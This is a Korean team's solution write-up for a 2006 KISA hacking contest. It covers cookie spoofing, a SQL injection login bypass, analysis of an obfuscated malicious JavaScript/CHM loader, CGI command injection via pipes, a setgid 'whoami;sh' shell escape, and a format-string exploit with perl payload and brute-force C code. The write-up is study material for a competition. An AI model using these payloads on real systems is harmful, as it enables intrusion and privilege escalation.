                                   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
                                     KISA 제3회 해킹/방어대회 예전문제 풀이
                                               5Zone Team Report
                                   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

    ㅇ 대회진행      : 2006. 5.16(화) ~ 2006. 5.17(수)
    ㅇ 작 성 일      : 2006. 5.17(수)
    ㅇ 작 성 자      : 강봉구(xCuter)
    ㅇ 팀참가자      : 최진욱(usapmuzae), 박병익(pbi12), 강봉구(xCuter)
    ㅇ 웹 취약점     : 1 ~ 4번 (4문제)
    ㅇ 시스템 취약점 : 5 ~ 7번 (3문제)

    1. 문제 : Web 인증시 발생하는 취약점임.
       풀이 : SQL Injection 공격을 시도하였으나 guest 계정으로만 로그인이 됨.
              SQL Injection취약점으로 더 달궈 먹으면 될 듯 싶기도 하였으나 http packet을 스니핑한 결과 guest로 로그인 된 후엔
              다음과 같이 쿠키값이 셋팅된 것을 볼 수 있었다.

              " Cookie: User_ID: 로그인 된 ID "

              따라서 로그인 된 ID를 admin 으로 바꾸는 쿠키 스푸핑 기법을 통해 문제를 해결할 수 있었다.

              " Cookie: User_ID: admin "

              위와같이 쿠키를 셋팅하여 서버로 보내게게 되면 admin으로 로그인 한 것과 같은 권한을 획득하게 된 셈이고 뿌려진 정보 중 관리자 비빌번호를 획득
              비밀번호 : U can fly

    2. 문제 : 관리자는 cookie값을 이용한 인증의 취약점에 헛점을 발견하고 이를 개선하였다.
              그러나 웹 로그인 부분의 취약점은 간파하지 못했다.
              이를 이용, 관리자 페이지를 조회하여 다음 단계로 진행하기 위한 패스워드를 획득하라.
              URL은 http://solve.hdcon.or.kr/Administrator/login.html이다.
       풀이 : '문자(Single Quote Mark)를 넣었을 때 MySQL 에서 에러가 발생하였다. 따라서 SQL Injection 이라는 것을 즉시하고
              공격에 들어갔다. 소스 확인 결과 ID, PW를 입력받는 input TAG에서 maxlength=8로 글자수 제한을 두었기에 이를 해결하기 위해
              ㄱ. 내컴퓨터에서 해당 폼과 소스를 똑같이 구성하되 form TAG의 action을 대회서버의 login.php로(로그인 처리) 하고 maxlength
                  제한을 풀어서 공격하는 방법
              ㄴ. 프락시 프로그램을 이용하여 패킷을 서버로 전송할 떄 ID, PW를 조작
              위 ㄱ,ㄴ 같은 방법을 통해 다음과 같이 공격을 시도 하였다.

              공격시도 : 8글자로만 구성해야 하지만 패스워드를 우회하기 위해 or를 넣게되면 문자열이 길어지는 문제점이 있었고 따라서
                         주석을 사용하되 MySQL이기 때문에 '--', '#' 와 같은 주석은 사용하지 못하며 '/*'을 사용하였다.
                         즉 'SQL문 최대 6자 + 주석 2자' 형태여야 했다.
              정답 : '=''/*
              확인된 암호 : pw : vkdlxld!!!  (파이팅!!!)

    3. 문제 : 최근 문제가 된 중국 발 해킹과 관련해 사이트의 js파일이 자꾸 변조되고 있는 듯 하다. 이를 분석하여 공격자가 남겨놓은 정보를
              확인하여 다음 단계를 위한 패스워드를 획득하라. 의심스러운 파일은 http://solve.hdcon.or.kr/modified_js/browser.js 이다.
       풀이 : browser.js 파일에 보면 다음의 코드에서 특정한 htm 파일이 읽혀지고 있음을 알 수 있다.

              document.write('<iframe height=0 width=0 src="http://solve.hdcon.or.kr/chinaatt/kor.htm"></iframe>');

              이 파일을 열어보면 다음과 같은 소스를 확인할 수 있다.
              ===============================================================================================================================
              <script>
              <!--
              document.write(unescape("%3CSCRIPT%20LANGUAGE%3D%22JavaScript%22%3E%0D%0A%3C%21--%0D
              %0Avar%20HtmlStrings%3D%5B%22%3DPCKFDU%21Xjeui%3E1%21Ifjhiu%3E1%21tuzmf%3E%23ejtqmbz
              %3Bopof%3C%23%21uzqf%3E%23ufyu0y.tdsj%22%2C%22qumfu%23%21ebub%3E%23nl%3BANTJUTupsf
              %3Bniunm%3Bd%3B%5D/niu%01iuuq%3B00329/4/319/294%22%2C%220rrr0ifmq/uyu%3B%3B0%2634%2
              63F%2679%2685n%23%02%3E%3D0PCKFDU%02%3E%0E%0B%22%5D%3B%0D%0Afunction%20psw%2
              8st%29%7B%0D%0A%20%20var%20varS%3B%0D%0A%20%20varS%3D%22%22%3B%0D%0A%20%20v
              ar%20i%3B%0D%0A%20%20for%28var%20a%3D0%3Ba%3Cst.length%3Ba++%29%7B%0D%0A%20%20
              %20%20i%20%3D%20st.charCodeAt%28a%29%3B%20%0D%0A%20%20%20%20if%20%28i%3D%3D1%
              29%20%0D%0A%20%20%20%20%20%20varS%3DvarS+String.fromCharCode%28%27%22%27.charCode
              At%28%29-1%29%3B%0D%0A%20%20%20%20else%20if%20%28i%3D%3D2%29%20%7B%0D%0A%20
              %20%20%20%20%20a++%3B%0D%0A%20%20%20%20%20%20varS+%3DString.fromCharCode%28st.ch
              arCodeAt%28a%29%29%3B%0D%0A%20%20%20%20%20%20%7D%0D%0A%20%20%20%20else%0D%
              0A%20%20%20%20%20%20varS+%3DString.fromCharCode%28i-1%29%3B%0D%0A%20%20%7D%0D%0A
              %20%20return%20varS%3B%0D%0A%7D%3B%0D%0Avar%20num%3D3%3B%0D%0Afunction%20S%28%
              29%7B%0D%0Afor%28i%3D0%3Bi%3Cnum%3Bi++%29%0D%0A%20%20document.write%28psw%28HtmlS
              trings%5Bi%5D%29%29%3B%7D%0D%0AS%28%29%3B%0D%0A//%20--%3E%0D%0A%3C/SCRIPT%3E%0
              D%0A%0D%0A"));
              //-->
              </script>
              ===============================================================================================================================

              이 파일을 다시 decoding 하면..

              ===============================================================================================================================
              <SCRIPT LANGUAGE="JavaScript">
              <!--var HtmlStrings=["=PCKFDU!Xjeui>1!Ifjhiu>1!tuzmf>#ejtqmbz;opof<#!uzqf>#ufyu0y.tdsj","qumfu#!ebub>#nl;ANTJUTupsf;niunm;d;]/niuiuuq;00tpmwf/","lotq/psh0dijobbuu0ifmq/uyu;;0&35&3F&79&85n#>=0PCKFDU>          "];function psw(st){ 	var varS;	varS="";	var i;	for(var a=0;a<st.length;a++){		i = st.charCodeAt(a); 		if (i==1)			varS=varS+String.fromCharCode('"'.charCodeAt()-1);		else if (i==2) {			a++;		            varS+=String.fromCharCode(st.charCodeAt(a));		}		else			varS+=String.fromCharCode(i-1);	}	return varS;};var num=3;function S(){for(i=0;i<num;i++)	document.write(psw(HtmlStrings[i]));}S();// --></SCRIPT>
              ===============================================================================================================================

              encoding 된 문자열이 보이는 자바스크립트 페이지 였다.
              보기좋게 다시 정리하자면 다음과 같다.

              ===============================================================================================================================
    &
              var HtmlStrings=["=PCKFDU!Xjeui>1!Ifjhiu>1!tuzmf>#ejtqmbz;opof<#!uzqf>#ufyu0y.tdsj","qumfu#!ebub>#nl;ANTJUTupsf;niunm;d;]/niuiuuq;00tpmwf/","lotq/psh0dijobbuu0ifmq/uyu;;0&35&3F&79&85n#>=0PCKFDU>"];
              function psw(st)
              {
                 var varS;
                 varS="";
                 var i;

                 for(var a=0;a<st.length;a++)
                 {
                    i = st.charCodeAt(a);
                    if (i==1)
                       varS=varS+String.fromCharCode('"'.charCodeAt()-1);
                    else if (i==2)
                    {
                       a++;
                       varS+=String.fromCharCode(st.charCodeAt(a));
                    }
                    else
                       varS+=String.fromCharCode(i-1);
                 }
                 return varS;
              }

              function S()
              {
                 var num=HtmlStrings.length;
                 for(i=0;i<num;i++)
                    document.write(psw(HtmlStrings[i]));
              }

              S();
              </SCRIPT>
              ===============================================================================================================================

              HtmlStrings 변수의 문자열을 decoding 하면 다음과 같은 문자열이 된다.

              <OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:@MSITStore:mhtml:c:\.mht!http://solve.knsp.org/chinaatt/help.txt::/%24%2E%68%74m"></OBJECT>

              그러나 solve.knsp.org URL은 죽어있었고, 따라서 solve.hdcon.or.kr 로 URL을 바꾸어보니 ITFS 포맷의 help 파일로 보이는 코드가 보였다.
              이 코드를 help.chm 으로 저장하여 읽으니 Online Help 프로그램이 작동 되고 '제3회해킹방어대회 $.htm'이라는 목차만 달랑하나 보였다.
              이 때 프로세스를 확인결과 sending.exe 가 실행됨이 확인되었고 sending.exe를 자세히 분석하기 전에 실행파일에 포함된 text문자열을
              조사해 보니 다음과 같은 문자열이 존재하였다.

              nslookup level4_password_is_ch!neseh4cker www.knsp.org

              nslookup을 실행하며 query 로 level4의 password가 보였다.
              정답 : ch!neseh4cker

    4. 문제 : 다운로드 페이지가 있는데 이 페이지의 취약점을 이용해 시스템 자원에 접근할 수 있는 취약점이 존재한다.
       풀이 : 다운받는 HTML 페이지를 보니 /cgi-bin/download.cgi?f_name=A_Project.ppt 이런식으로 다운을 받는다. 다운로드 취약점 인가보다 해서
              A_Project.ppt 파일명을 바꿔서 시스템 파일을 다운로드 하려고 하였으나 Cookie 체크를 하는지 관리자만 다운로드 가능하다는 메시지만 나왔다
              쿠키값 추측도 해 봤으나 뭔가 다른거라 생각하고 f_name 변수가 심상치 않아 혹시 명령실행이 아닌가 해서 의심했고, 그것이 적중했음.

              GET /cgi-bin/download.cgi?f_name=AAAA|ls| HTTP/1.0
              -> cgi-lib1.pl
                 data
                 download.cgi

              GET /cgi-bin/download.cgi?f_name=AAAA|ls%20-al%20data| HTTP/1.0
              -> .............. ._READ_ME.TXT

              GET /cgi-bin/download.cgi?f_name=AAAA|cat%20data/._READ_ME.TXT| HTTP/1.0
              -> http://solve.hdcon.or.kr/cgi-bin/data/._READ_ME.TXT

                 HTTP/1.1 200 OK
                 Date: Tue, 16 May 2006 04:28:01 GMT
                 Server: Apache/1.3.35 (Unix) PHP/5.1.4
                 Connection: close
                 Content-Type: application/x-cgklyk

                 축하합니다. 웹 관련 문제를 모두 통과하셨습니다.
                 이후의 문제는 SSH클리이언트 프로그램을 이용하여 로그인을 하신 후 진행하시기 바랍니다.
                 접속ID와 패스워드는 문제확인 페이지에서 확인하실 수 있습니다.
                 그럼 수고하십시오.
                 이번 단계의 패스워드는 "Are you ready?"입니다.

    5. 문제 : 시스템 관리자가 서버를 체크하기 위해 간단한 프로그램을 만들었는데 /sbin/ping을 절대경로를 사용하여 실행하도록 하였다.
              하지만 어떤이가 취약점으로 관리자를 곤란하게 만들었다. 이를 이용하여 다음 단계를 위한 패스워드를 획득하라.
              아래의 계정은 5~7번 문제를 풀기 위해 solve.hdcon.or.kr에 접속하기 위한 아이디 및 패스워드이다.
              해당 시스템에는 ssh(포트 8000)으로 접속한다.
              ID : user02
              PW : 8102746045
       풀이 : ㅇ 시스템 정보
    	  FreeBSD solve.hdcon.or.kr 5.4-RELEASE FreeBSD 5.4-RELEASE #0: Sun May  8 10:21:06 UTC 2005 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

              ㅇ 검색
                 level5 계정을 획득하기 위한 setuid, setgid 중 level5가 owner or group 인 계정을 확인했다.
                 $ find / -group level5 -exec ls -al {} \; 2>/dev/null
                 -rwxr-sr-x  1 root  level5  5135 May 11 03:13 /usr/local/sbin/pong

              ㅇ 분석
                 Dump of assembler code for function main:
                 0x0804858c <main+0>:    push   %ebp				'
                 0x0804858d <main+1>:    mov    %esp,%ebp				'
                 0x0804858f <main+3>:    sub    $0xd8,%esp			' esp를 216byte 만큼 감소시켜 공간확보
                 0x08048595 <main+9>:    and    $0xfffffff0,%esp			'
                 0x08048598 <main+12>:   mov    $0x0,%eax				'
                 0x0804859d <main+17>:   add    $0xf,%eax				'
                 0x080485a0 <main+20>:   add    $0xf,%eax				'
                 0x080485a3 <main+23>:   shr    $0x4,%eax				'
                 0x080485a6 <main+26>:   shl    $0x4,%eax				'
                 0x080485a9 <main+29>:   sub    %eax,%esp				'
                 0x080485ab <main+31>:   cmpl   $0x1,0x8(%ebp)			' if ebp+8(argc)==1
                 0x080485af <main+35>:   jle    0x80485e4 <main+88>			'    jmp main+88
                 0x080485b1 <main+37>:   sub    $0x4,%esp				'
                 0x080485b4 <main+40>:   mov    0xc(%ebp),%eax			' argv[0] -> %eax
                 0x080485b7 <main+43>:   add    $0x4,%eax				' argv[1] -> %eax
                 0x080485ba <main+46>:   pushl  (%eax)				' argv[1] push
                 0x080485bc <main+48>:   push   $0x804867c			' "/sbin/ping %s" push
                 0x080485c1 <main+53>:   lea    0xffffff28(%ebp),%eax		' &ebp-216 -> %eax
                 0x080485c7 <main+59>:   push   %eax				' buf[216] push
                 0x080485c8 <main+60>:   call   0x804842c				' call sprintf()
                 0x080485cd <main+65>:   add    $0x10,%esp			'
                 0x080485d0 <main+68>:   sub    $0xc,%esp				'
                 0x080485d3 <main+71>:   lea    0xffffff28(%ebp),%eax		' &ebp-216 -> %eax
                 0x080485d9 <main+77>:   push   %eax				' buf[216] push
                 0x080485da <main+78>:   call   0x804840c				' call system()         <- 취약점 발생
                 0x080485df <main+83>:   add    $0x10,%esp			'
                 0x080485e2 <main+86>:   jmp    0x80485f9 <main+109>		'
                 0x080485e4 <main+88>:   sub    $0x8,%esp				'
                 0x080485e7 <main+91>:   mov    0xc(%ebp),%eax			' ebp+c(argv[0]) -> %eax
                 0x080485ea <main+94>:   pushl  (%eax)				' argv[0] push
                 0x080485ec <main+96>:   push   $0x804868c			' "usage : %s HOST_NAME(or HOST_IP)\n" push
                 0x080485f1 <main+101>:  call   0x80483fc				' call printf()
                 0x080485f6 <main+106>:  add    $0x10,%esp			'
                 0x080485f9 <main+109>:  leave  				'
                 0x080485fa <main+110>:  ret    				'
                 0x080485fb <main+111>:  nop    				'

                 ------------------------- 소스로 변환 -------------------------
                 main(int argc, char *argv[])
                 {
                    char buf[216];
                    if(argc==1)
                       printf("usage : %s HOST_NAME(or HOST_IP)\n", argv[0]);
                    else
                    {
                       sprintf(buf, "/sbin/ping %s", argv[1]);
                       system(buf);
                    }
                 }
                 ---------------------------------------------------------------

                 이 pong 이라는 프로그램은 2가지 취약점이 존재한다.
                 첫번째는 Buffer Overflow 취약점이고,
                 두번째는 절절치 못한 system() 함수의 사용이다.
                 우리팀은 대회 진행상 시간이 중요하기 때문에 좀더 쉽게 해결가능한 두번째 방법을 택했다.

                 system() 함수 등 시스템 명령을 실행할 수 있는 함수는 사용시 각별한 주의가 요구된다. 공격자가 원하는 명령을 실행할 수 있는
                 경우가 많기 때문인데 이 문제의 경우 아규먼트로 직접 원하는 값을 입력할 수 있었기 때문에 문제가 된다.

                 system("/sbin/ping localhost;id") <- 사용자가 다음과 같이 형태로 입력을 취했을 경우 setgid bit가 걸린 이 pong 이라는
                 프로그램이 해당 gid권한으로 id명령까지 실행하게 된다. 따라서 ';', '&&', '`', '|' 와 같은 문자를 이용해 쉘을 실행하는 방법으로 exploit 함

              ㅇ Exploit
                 whoami 는 /sbin/ping 프로그램의 매개변수로 사용되며, ';'에 의해 ping 수행 후 sh를 실행하게 되므로 쉘 떨어지게 되는 방법 이용

                 $ /usr/local/sbin/pong "whoami;sh"
                 ping: cannot resolve whoami: No address associated with name
                 $ id
                 uid=1003(user02) gid=1003(user02) egid=500(level5) groups=500(level5), 1003(user02)
                 $ cat /etc/passwd|grep level5
                 level5:*:500:500:User &:/export/home/level5:/sbin/nologin
                 $ cd /export/home/level5
                 $ ls
                 LEVEL5_ANSWER
                 $ cat *
                 Congratulations!!

                 Level5's password : table_tennis

    6. 문제 : 사용자들을 위한 메세지를 남기는 프로그램이 있다.
              그러나 이 프로그램에는 어떤 취약점이 존재하는데 이를 이용하여 다음 레벨의 권한을 획득하시오.
       풀이 : ㅇ 검색
                 $ find / -group level6 -exec ls -al {} \; 2>/dev/null
                 -rwxr-sr-x  1 root  level6  5546 May 16 09:58 /usr/local/bin/savemsg

              ㅇ 분석
                 BOF 시도하였으나 적절한 체크가 이루어져 실패하였고 %x를 넣어보니 스택의 특정한 값을 출력하여 Format String Bug 확인

                 Dump of assembler code for function main:
                 0x0804864c <main+0>:    push   %ebp
                 0x0804864d <main+1>:    mov    %esp,%ebp
                 0x0804864f <main+3>:    sub    $0x48,%esp
                 0x08048652 <main+6>:    and    $0xfffffff0,%esp
                 0x08048655 <main+9>:    mov    $0x0,%eax
                 0x0804865a <main+14>:   add    $0xf,%eax
                 0x0804865d <main+17>:   add    $0xf,%eax
                 0x08048660 <main+20>:   shr    $0x4,%eax
                 0x08048663 <main+23>:   shl    $0x4,%eax
                 0x08048666 <main+26>:   sub    %eax,%esp
                 0x08048668 <main+28>:   sub    $0x4,%esp
                 0x0804866b <main+31>:   push   $0x34						' 0x34(52) push
                 0x0804866d <main+33>:   push   $0x0						' 0x0 (0)  push
                 0x0804866f <main+35>:   lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
                 0x08048672 <main+38>:   push   %eax						' ebp-72=buf[52] push
                 0x08048673 <main+39>:   call   0x8048454						' memset(buf, 0, 52);
                 0x08048678 <main+44>:   add    $0x10,%esp
                 0x0804867b <main+47>:   sub    $0xc,%esp
                 0x0804867e <main+50>:   push   $0x80487a3					' "\nLevel 6\n\n"
                 0x08048683 <main+55>:   call   0x8048434						' call printf()
                 0x08048688 <main+60>:   add    $0x10,%esp
                 0x0804868b <main+63>:   sub    $0xc,%esp
                 0x0804868e <main+66>:   push   $0x80487ae					' "메세지를 남기세요.\n"
                 0x08048693 <main+71>:   call   0x8048434						' call printf()
                 0x08048698 <main+76>:   add    $0x10,%esp
                 0x0804869b <main+79>:   sub    $0x4,%esp
                 0x0804869e <main+82>:   push   $0x32						' 0x32(50) push
                 0x080486a0 <main+84>:   lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
                 0x080486a3 <main+87>:   push   %eax						' buf[52] push
                 0x080486a4 <main+88>:   push   $0x0						' 0x0 (0) push
                 0x080486a6 <main+90>:   call   0x8048444						' call read(0, buf, 50);
                 0x080486ab <main+95>:   add    $0x10,%esp
                 0x080486ae <main+98>:   sub    $0xc,%esp
                 0x080486b1 <main+101>:  push   $0x80487c4					' "다음의 메세지를 남기셨습니다.\n"
                 0x080486b6 <main+106>:  call   0x8048434						' call printf()
                 0x080486bb <main+111>:  add    $0x10,%esp
                 0x080486be <main+114>:  sub    $0xc,%esp
                 0x080486c1 <main+117>:  lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
                 0x080486c4 <main+120>:  push   %eax						' buf[52] push
                 0x080486c5 <main+121>:  call   0x80485c4 <print_msg>				' call print_msg(buf);
                 0x080486ca <main+126>:  add    $0x10,%esp
                 0x080486cd <main+129>:  sub    $0xc,%esp
                 0x080486d0 <main+132>:  push   $0x80487e3					' "\n이용해주셔서 감사합니다.\n\n"
                 0x080486d5 <main+137>:  call   0x8048434						' call printf();
                 0x080486da <main+142>:  add    $0x10,%esp
                 0x080486dd <main+145>:  leave
                 0x080486de <main+146>:  ret
                 0x080486df <main+147>:  nop

                 Dump of assembler code for function print_msg:
                 0x080485c4 <print_msg+0>:       push   %ebp
                 0x080485c5 <print_msg+1>:       mov    %esp,%ebp
                 0x080485c7 <print_msg+3>:       sub    $0x88,%esp
                 0x080485cd <print_msg+9>:       movl   $0x1,0xfffffff4(%ebp)				' ebp-12  buf1[4]=1, dum[4], dum[4], ebp
                 0x080485d4 <print_msg+16>:      movl   $0x2,0xffffffa4(%ebp)				' ebp-92  buf2[4]=2
                 0x080485db <print_msg+23>:      movl   $0x3,0xffffffa0(%ebp)				' ebp-96  buf3[4]=3
                 0x080485e2 <print_msg+30>:      movl   $0x4,0xffffff9c(%ebp)				' ebp-104 buf4[4]=4
                 0x080485e9 <print_msg+37>:      movl   $0x5,0xffffff98(%ebp)				' ebp-108 buf5[4]=5
                 0x080485f0 <print_msg+44>:      movl   $0x6,0xffffff94(%ebp)				' ebp-112 buf6[4]=6
                 0x080485f7 <print_msg+51>:      movl   $0x7,0xffffff90(%ebp)				' ebp-116 buf7[4]=7
                 0x080485fe <print_msg+58>:      movl   $0x8,0xffffff8c(%ebp)				' ebp-120 buf8[4]=8
                 0x08048605 <print_msg+65>:      movl   $0x9,0xffffff88(%ebp)				' ebp-124 buf9[4]=9
                 0x0804860c <print_msg+72>:      movl   $0xa,0xffffff84(%ebp)				' ebDp-126 buf10[4]=10
                 0x08048613 <print_msg+79>:      sub    $0x4,%esp
                 0x08048616 <print_msg+82>:      push   $0x34					' 0x34(52) push
                 0x08048618 <print_msg+84>:      push   $0x0					' 0x0 (0)  push
                 0x0804861a <print_msg+86>:      lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %eax
                 0x0804861d <print_msg+89>:      push   %eax					' buf[52] push
                 0x0804861e <print_msg+90>:      call   0x8048454					' call memset(buf[52], 0, 52);
                 0x08048623 <print_msg+95>:      add    $0x10,%esp
                 0x08048626 <print_msg+98>:      sub    $0x8,%esp
                 0x08048629 <print_msg+101>:     pushl  0x8(%ebp)					' argc push
                 0x0804862c <print_msg+104>:     lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %eax
                 0x0804862f <print_msg+107>:     push   %eax					' buf[52] push
                 0x08048630 <print_msg+108>:     call   0x8048424					' strcpy(buf, 0);
                 0x08048635 <print_msg+113>:     add    $0x10,%esp
                 0x08048638 <print_msg+116>:     sub    $0xc,%esp
                 0x0804863b <print_msg+119>:     lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %ax
                 0x0804863e <print_msg+122>:     push   %eax					' buf[52] push
                 0x0804863f <print_msg+123>:     call   0x8048434					' call printf(buf) <- 취약점 발생
                 0x08048644 <print_msg+128>:     add    $0x10,%esp
                 0x08048647 <print_msg+131>:     leave
                 0x08048648 <print_msg+132>:     ret
                 0x08048649 <print_msg+133>:     lea    0x0(%esi),%esi

              ㅇ Exploit
                 - 입력한 값이 저장되는 버퍼와 출력될 때의 %esp 와의 거리 확인
                   16번의 pop 과정 끝에 입력한 값이 출력됨을 확인
                   ================================================================================================================
                   $ ./f

                   Level 6

                   메세지를 남기세요.
                   AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
                   다음의 메세지를 남기셨습니다.
                   AAAAbfbfec58341bfbfeb6000a9876543241414141

                   이용해주셔서 감사합니다.
                   $
                   ================================================================================================================
                   dtors : 0x80498fc  ( 0x8049900 , 0x8049902 <- 0x00 때문에 공격 불가)
                   got   : 0x8049908  ( 0x8049908 , 0x804990a <- 0x0a 때문에 공격 불가)
                   ret   : 0xbfbfe13c ( pop되는 stack에 있는 주소 주변으로 찍을 수 있음 )
                   shell : 0xbfbfec58 ( ec58(60504) - 0x10(16) = ec48(60488), 1bfbf-ec58=d367(54119) )

                   $ objdump -h f|grep dtor
                    15 .dtors        00000008  080498fc  080498fc  000008fc  2**2
                   $ objdump -h f|grep got
                    17 .got          00000028  08049908  08049908  00000908  2**2
                   $ ./.e  ( EGG SHELL FOR FREEBSD OS )
                   Using address: 0xbfbfec58
                   $ (perl -e 'print "zzzz\x3c\xe1\xbf\xbfzzzz\x3e\xe1\xbf\xbf%16\$60488c%17\$n%18\$54119c%19\$n"';cat)|./f
                                       ~~~
                                       ~~~
                                       ~~~
                                       ~~~
                                       ~~~
                                       ~~~
                   id
                   uid=1003(user02) gid=1003(user02) egid=600(level6) groups=600(level6), 1003(user02)
                   pwd
                   cd /export/home/level6
                   ls
                   LEVEL6_ANSWER
                   cat *
                   Congratulations!!

                   Level6's password : Bmore_Peppers

              ㅇ Automatic Exploit Code Source by xCuter
                 /********** exploit code for the vuln prog ********/
                 main()
                 {
                    long j,i;
                    char buf[500];

                    for(i=0xe0;i<0xff;i+=0x01)
                    {
                      for(j=0x00;j<0xff;j+=0x02)
                      {
                          memset(buf, 0, 500);
                          sprintf(buf, "(perl -e 'print \"zzzz\\x%02x\\x%02x\\xbf\\xbfzzzz\\x%02x\\x%02x\\xbf\\xbf%%16\\$60488c%%17\\$n%%18\\$54119c%%19\\$n\"';cat)|./f",j,i,j+0x02,i);
                          printf("%s\n\n",buf);
                          system(buf);
                      }
                    }
                 }
                 /********** just cut here ********/
                 - 새롬 데이타맨을 이용, 공격 결과중 나오는 글자를 자동반응에 넣어줌으로써 알아서 쉘이 떨어질 때 까지 공격 진행되도록 함.

    7. 문제 : 관리자가 어떤 프로그램을 개발하였는데 이 프로그램은 암호화 기법을 이용하여 패스워드를 숨겼다고 한다.
              이 프로그램을 분석하여 패스워드를 획득하시오.
       풀이 : ㅇ 검색
                 find / -group level7 -exec ls -al {} \; 2>/dev/null
                 -rwxr-sr-x  2 root  level7  6227 May 11 03:09 /usr/sbin/reverse

              ㅇ 분석
                 CRYPTED STR : b416AHqnsisAU
                 - DES 방식이라는 것을 알 수 있었고, b4 로 시작한다는 것도 확인
                 - Disassembly -> preset_passwd()함수 - 시간 없으니 나중에.(실행하면서 보일라캤는데 bsd서버가 없--)
                 preset_passwd() 함수내에 문자열 그대로 존재

              ㅇ 정답 : b4ck 4ttack

                 $ ./f
                 Password: b4ck 4ttack
                 Congratulations !!
                 $

    ** 후기 **

    재밌었습니다. 모두 수고 많으셨습니다. ^^; 남은건 본선...!!ㅋㅋ